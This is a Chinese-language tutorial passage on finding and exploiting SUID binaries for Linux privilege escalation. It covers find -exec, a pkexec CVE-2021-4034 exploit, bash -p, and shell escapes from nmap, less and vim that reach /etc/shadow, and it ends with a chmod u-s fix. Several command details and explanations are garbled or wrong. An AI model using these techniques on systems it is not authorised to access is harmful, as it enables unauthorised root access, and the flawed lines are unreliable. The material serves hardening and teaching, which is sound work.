通常Linux系统文件及目录最常见的三种权限为:可读权限(r),可写权限(w)和可执行权限(x)。有时我们会发现有些文件或者目录的所属主的权限会带s标识。当s这个标志出现在文件所有者的x权限上时,如/usr/bin/passwd文件的权限状态:“-rwsr-xr-x.”,此时就被称为Set UID,简称为SUID权限。此时,如果该文件的属主权限为root,并能够执行命令操作,攻击者便可以root身份进行操作Linux系统。常见导致SUID提权的可执行程序包含:Nmap、vim、find、bash、more、less、nano、pkexec等,当查询这些可执行程序具有SUID权限时,可进一步排查是否存在权限提升安全问题,并对存在安全的程序进行修复和加固。
接下来,本节将利用find命令,查询Linux系统中具有SUID权限的文件
代码语言:javascript复制find / -perm -u=s -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -l db {};
/ 表示从文件系统的顶部(根)开始并找到每个目录
-perm 表示搜索随后的权限
-u=s 表示查找root用户拥有的文件
-type表示我们正在寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
2 表示该进程的第二个文件描述符,即stderr(标准错误)
> 表示重定向
/dev/null 是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。
通过指令查询,可以看到find和pkexec具有SUID权限,接下来测试find和pkexec可行性程序是否能够提权成功,通过find指令进行操作使普通用户变成了root权限执行系统指令:
代码语言:javascript复制/usr/bin/find -name 123.ico -exec whoami ;
polkit的 pkexec (pkexec ≤ 0.120版本时)存在特权提升的安全问题。该漏洞允许任何非特权用户通过在Linux默认配置中利用此漏洞获得root权限。执行过程如图3-1-20所示,通过exp文件进行操作使普通用户变成了root权限执行系统指令。
代码语言:javascript复制make
./cve-202104034
下面列举了一些其他的软件导致suid提权的方式:
(1)nmap
代码语言:javascript复制nmap --interactive #启动交互模式
(2)bash
代码语言:javascript复制bash -p
bash-3.2# id
(3)more/less
代码语言:javascript复制less /etc/passwd
!/bin/sh
(4)vim
代码语言:javascript复制vim.tiny /etc/shadow
代码语言:javascript复制# Press ESC key
:set shell=/bin/sh #回车
:shell
对于存在suid权限的可执行程序中,如果导致权限提升安全威胁,可通过修改可执行程序权限的方式或更新软件进行打补丁的方式修复suid权限文件导致的安全问题,可以修改suid可执行文件权限的修复过程。
代码语言:javascript复制chmod u-s /usr/bin/find
find / -perm -u=s -type f 2>/dev/null
touch test
/uer/bin/find -name test -exec whoami ;